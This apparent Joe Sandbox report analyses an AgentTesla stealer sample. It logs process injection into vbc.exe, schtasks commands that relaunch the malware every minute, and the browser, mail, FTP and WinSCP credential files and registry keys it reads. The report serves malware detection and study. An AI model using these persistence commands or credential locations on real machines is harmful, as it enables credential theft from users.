Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 436000	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 438000	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 7BD008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 436000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 438000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 5132008	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\Desktop\pdP5Rv9pPW.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\AppData\Roaming\fghn\fghn.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Queries volume information: C:\Users\user\Desktop\pdP5Rv9pPW.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Queries volume information: C:\Users\user\AppData\Roaming\fghn\fghn.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 2_2_09EE4ECC GetUserNameW,

2_2_09EE4ECC

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 2.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.3996170.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pdP5Rv9pPW.exe PID: 5704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 1608, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Source: Yara match	File source: 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 1608, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 2.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.3996170.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pdP5Rv9pPW.exe PID: 5704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 1608, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Valid Accounts	211 Windows Management Instrumentation	1 Valid Accounts	1 Valid Accounts	1 Disable or Modify Tools	2 OS Credential Dumping	1 Account Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Shared Modules	1 Scheduled Task/Job	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	11 Input Capture	114 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	311 Process Injection	21 Obfuscated Files or Information	1 Credentials in Registry	221 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	11 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Scheduled Task/Job	Logon Script (Mac)	1 Scheduled Task/Job	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	11 Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Valid Accounts	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	311 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pdP5Rv9pPW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
pdP5Rv9pPW.exe